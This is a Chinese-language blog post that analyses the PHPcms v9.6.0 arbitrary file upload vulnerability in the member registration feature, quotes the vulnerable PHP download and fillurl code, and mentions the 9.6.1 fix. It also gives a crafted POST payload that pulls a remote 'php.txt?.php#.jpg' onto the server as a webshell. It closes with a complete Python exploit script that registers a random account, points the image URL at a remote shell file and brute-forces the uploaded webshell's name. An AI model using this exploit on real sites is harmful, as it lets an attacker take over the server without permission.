PHPcms V9 任意文件上传漏洞

tech2026-01-13  13

之前碰到一个站点,存在目录遍历,看到upload目录下上传了好多php的大马,说明这网站肯定是有漏洞的,看了一下网站指纹,是phpcms的,正好借此网站复现一下此漏洞

一丶漏洞简介

此漏洞爆出来的时间是2017年4月份左右,时间比较长了,存在任意文件长传,漏洞利用比较简单,危害很大,可以直接前台getshell。

二丶影响版本

phpcms v9.6.0

三丶漏洞分析

漏洞利用点是注册的地方,我们来看一下网上常用的一个payload:

http://127.0.0.1/index.php?m=member&c=index&a=register&siteid= POST: siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.2/bx/php.txt?.php#.jpg>&dosubmit=1&protocol=

其实最主要的问题就出现在Download函数上

/** * 附件下载 * Enter description here ... * @param $field 预留字段 * @param $value 传入下载内容 * @param $watermark 是否加入水印 * @param $ext 下载扩展名 * @param $absurl 绝对路径 * @param $basehref */ function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') { global $image_d; $this->att_db = pc_base::load_model('attachment_model'); $upload_url = pc_base::load_config('system','upload_url'); $this->field = $field; $dir = date('Y/md/'); $uploadpath = $upload_url.$dir; $uploaddir = $this->upload_root.$dir; $string = new_stripslashes($value); if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value; $remotefileurls = array(); foreach($matches[3] as $matche) { if(strpos($matche, '://') === false) continue; dir_create($uploaddir); $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref); } unset($matches, $string); $remotefileurls = array_unique($remotefileurls); $oldpath = $newpath = array(); foreach($remotefileurls as $k=>$file) { if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue; $filename = fileext($file); $file_name = basename($file); $filename = $this->getname($filename); $newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) { $oldpath[] = $k; $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename; @chmod($newfile, 0777); $fileext = fileext($filename); if($watermark){ watermark($newfile, $newfile,$this->siteid); } $filepath = $dir.$filename; $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext); $aid = $this->add($downloadedfile); $this->downloadedfiles[$aid] = $filepath; } } return str_replace($oldpath, $newpath, $value); }

这里匹配了src或href中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png,由于匹配的不严格,导致可以绕过

 

if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;

随后在这一行带入了函数fillurl:

$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);

在fillurl中去掉了#后的内容:

 

$pos = strpos($surl,'#'); if($pos>0) $surl = substr($surl,0,$pos);

最后就构造出下载php的链接

四丶漏洞复现

打开注册页面

填入信息 ,抓取数据包

将POST包修改为以下内容

siteid=1&modelid=11&username=zf1agac121&password=aasgfaewee311as&email=a1ea21f94@qq.com&info[content]=<img src=http://127.0.0.1/php.txt?.php#.jpg>&dosubmit=1&protocol=

原理就是匹配了src或href中文件的文件名,不过后缀为$ext,其中$ext的值为:gif|jpg|jpeg|bmp|png,这个是可以绕过,http://127.0.0.1/php.txt?.php#.jpg,然后fillurl函数中给我们去掉了#后的内容:

$pos = strpos($surl,'#');

        if($pos>0) $surl = substr($surl,0,$pos);

导致下载我们服务器上的txt到服务器上生成webshell

 

五丶漏洞修复

在phpcms9.6.1中修复了该漏洞,修复方案就是对用fileext获取到的文件后缀再用黑白名单分别过滤一次

exp:

import re import requests import random import time def randomstring(length): s = '' dic = "abcdefghijklmnopqrstuvwxyz" for i in range(int(length)): s += dic[random.randint(0,25)] return s def poc(url): u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url) data = { 'siteid': '1', 'modelid': '11', "username": "%s"%randomstring(12), "password": "%s"%randomstring(12), "email": "%s@qq.com"%randomstring(12), 'info[content]': '<img src=http://xxx/shell.txt?.php#.jpg>', 'dosubmit': '1', } headers = { 'cookie:':'PHPSESSID=t3id73sqv3dbnkhbbd0ojeh5r0; XDEBUG_SESSION=PHPSTORM' } rep = requests.post(u, data=data) #print rep.content shell = '' re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content) if len(re_result): shell = re_result[0] if shell: print 'shell:',shell tmp = time.strftime('%Y%m%d%I%M%S',time.localtime(time.time())) path = time.strftime('%Y',time.localtime(time.time()))+'/'+time.strftime('%m%d',time.localtime(time.time()))+'/' for i in range(100,999): filename = tmp+str(i)+'.php' shell = url+'uploadfile/'+path+filename req = requests.get(url=shell) if req.status_code == 200: print 'brute shell:',shell break if __name__ == '__main__': poc('http://localhost/')

 

最新回复(0)